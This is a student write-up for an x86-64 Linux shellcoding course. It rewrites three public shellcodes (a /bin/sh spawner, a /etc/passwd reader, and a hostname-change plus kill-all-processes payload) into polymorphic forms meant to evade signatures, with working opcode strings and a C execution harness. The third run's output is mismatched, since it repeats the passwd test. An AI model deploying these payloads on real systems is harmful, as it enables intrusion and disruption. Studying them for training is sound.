SLAE64
SLAE64

This post introduces my 6th mission to my SLAE64 journey.

Some existing tools, such as ADMutate, will XOR-encrypt existing shellcode and attach loader code. This is useful, but writing polymorphic shellcodes without a tool is a much better learning experience.

There is a lot of overlap information with my post regarding the SLAE32 - Polymorphic Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.

Introduction

The SLAE32 6th assignment task is to select three shellcode payloads from the shell-storm and create polymorphic versions of them without increasing the size of the shellcode by more than 50%;

Bonus points if we can make it shorter in length compared to the original.

Shellcode 1 - execve(/bin/sh, [/bin/sh], NULL)

This shellcode was written by hophet, and is located here. This shellcode calls execve sycall and executes /bin/sh.

Size: 41 bytes

The original shellcode is in AT&T syntax but I’ll show in Intel syntax as it more intuite for me.

; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com
_start:
    xor    rdx, rdx
    mov    rbx, 0x68732f6e69622fff
    shr rbx, 0x8
    push    rbx
    mov    rdi, rsp
    xor    rax, rax
    push   rax
    push   rdi
    mov    rsi, rsp
    mov al, 0x3b   ; execve(3b)
    syscall
    push  0x1
    pop rdi
    push  0x3c     ; exit(3c)
    pop rax
    syscall

Let’s see what we can do here.

Polymorphic Version


_start:
    xor   rsi, rsi
    mul   rsi
    mov  r9, 0x68732f6e69622fff
    shr r9, 0x8
    mov [rsp-0x8], r9
    lea   rdi, [rsp-8]
    add al, 0x3b   ; execve(3b)
    syscall
    push  0x1
    pop rdi
    push  0x3c     ; exit(3c)
    pop rax
    syscall

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●› 
╰─$ ../../../assembler.sh poly_execve.nasm

[*] Compiling with NASM
[*] Linking
ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000
[*] Extracting opcodes
[*] Done


Shellcode size: 42

"\x48\x31\xf6\x48\xf7\xe6\x49\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe9\x08\x4c\x89\x4c\x24\xf8\x48\x8d\x7c\x24\xf8\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xf6\x48\xf7\xe6\x49\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe9\x08\x4c\x89\x4c\x24\xf8\x48\x8d\x7c\x24\xf8\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/execve_bin_sh-76 ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 42
$ whoami
edu
$

Size: 42 bytes

Increased 1 byte which is more 2,4% in size compared to the original.

Shellcode 2 - Read /etc/passwd

This shellcode was written by Mr.Un1k0d3r, and is located here. This shellcode reads the /etc/passwd file to stdout.

Size: 82 bytes

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start

section .text

_start:
jmp _push_filename
  
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
  
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
  
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
  
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
  
; syscall exit
xor rax, rax
add al, 60
syscall
  
_push_filename:
call _readfile
path: db "/etc/passwdA"

The shellcode has some tricks to use less space, but we can be even more “space friendly.” In the comments, we have the changed instructions below their polymorphic version.

Polymorphic Version

jmp _readfile
path: db 0x2f,0x65,0x74,0x63,0x2f,0x70,0x61,0x73,0x73,0x77,0x64
  
_readfile:
; syscall open file
;pop rdi ; pop path value

lea rdi, [rel path]
; NULL byte fix
;xor byte [rdi + 11], 0x41
shr byte [rdi+11], 8

;xor rax, rax
;add al, 2
push byte 0x2
pop rax
xor rsi, rsi ; set O_RDONLY flag
syscall
  
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rax, rax
cdq
mov dx, 0xfff; size to read
syscall
  
; syscall write to stdout
push byte 0x1   ; set stdout fd = 1
pop rdi
mov rdx, rax
push byte 0x1
pop rax
syscall
  
; syscall exit
push byte 60
pop rax
syscall

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●› 
╰─$ ../../../assembler.sh poly_read_passwd.nasm

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 70

"\xeb\x0b\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x48\x8d\x3d\xee\xff\xff\xff\xc0\x6f\x0b\x08\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xc0\x99\x66\xba\xff\x0f\x0f\x05\x6a\x01\x5f\x48\x89\xc2\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x0b\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x48\x8d\x3d\xee\xff\xff\xff\xc0\x6f\x0b\x08\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xc0\x99\x66\xba\xff\x0f\x0f\x05\x6a\x01\x5f\x48\x89\xc2\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();
}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 70
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:113:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:108:117:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:111:120::/var/lib/saned:/usr/sbin/nologin
colord:x:112:121:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
lightdm:x:114:122:Light Display Manager:/var/lib/lightdm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
edu:x:1000:1000:edu:/home/edu:/usr/bin/zsh

Size: 70 bytes

Reduced 12 bytes!!! This is a reduction of 14,6% in size compared to the original.

I’ve made the same exercise for the 32bit version but I only could increase the code size. Having in the 64bit version less 14,6% is a real great achievement for me.

Shellcode 3 - setHostname() & killall

This shellcode was written by zbt, and is located here. This shellcode sets the hostname to “Rooted !” and kills all the processes.

Size: 33 bytes


    ; sethostname("Rooted !");
    ; kill(-1, SIGKILL);
 
    section .text
        global _start
 
    _start:
 
        ;-- setHostName("Rooted !"); 22 bytes --;
        mov     al, 0xaa
        mov     r8, 'Rooted !'
        push    r8
        mov     rdi, rsp
        mov     sil, 0x8
        syscall
 
        ;-- kill(-1, SIGKILL); 11 bytes --;
        push    byte 0x3e
        pop     rax
        push    byte 0xff
        pop     rdi
        push    byte 0x9
        pop     rsi
        syscall

Simple short shellcode without many room for improvements.

Polymorphic Version



; sethostname("Rooted !");
; kill(-1, SIGKILL);


section .text
    global _start

_start:

    ;-- setHostName("Rooted !"); 22 bytes --;

sethostname:

        xor     rax, rax		; zeroing out rax
        xor     rsi, rsi
        add	    al, 0xaa
        mov	    r9, 0x21206465746F6F52	; Rooted !
        push    r9			
        mov     rdi, rsp		
        add     sil, 0x8		; and subing it down to 0x08
        syscall
        
        ;-- kill(-1, SIGKILL); 11 bytes --;

        xor rax, rax
        add al, 0x3e
        mov rdi, rax
        sub rdi, 0x3f
        inc rsi
        syscall

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/setHostname_killall-605 ‹main●› 
╰─$ ../../../assembler.sh poly_setHostaname_killall.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 46

"\x48\x31\xc0\x48\x31\xf6\x04\xaa\x49\xb9\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x51\x48\x89\xe7\x40\x80\xc6\x08\x0f\x05\x48\x31\xc0\x04\x3e\x48\x89\xc7\x48\x83\xef\x3f\x48\xff\xc6\x0f\x05"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xf6\x04\xaa\x49\xb9\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x51\x48\x89\xe7\x40\x80\xc6\x08\x0f\x05\x48\x31\xc0\x04\x3e\x48\x89\xc7\x48\x83\xef\x3f\x48\xff\xc6\x0f\x05";


main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/setHostname_killall-605 ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/6-Polymorphic-Shellcode/read_etc_passwd-878 ‹main●› 
╰─$ ./shellcode 
Shellcode Length: 70
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

After executing the shellcode, we get logged out of the session, and the hostname is changed.

Size: 46 bytes

Increased 39,4%, which reflects the additional 13 bytes.


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64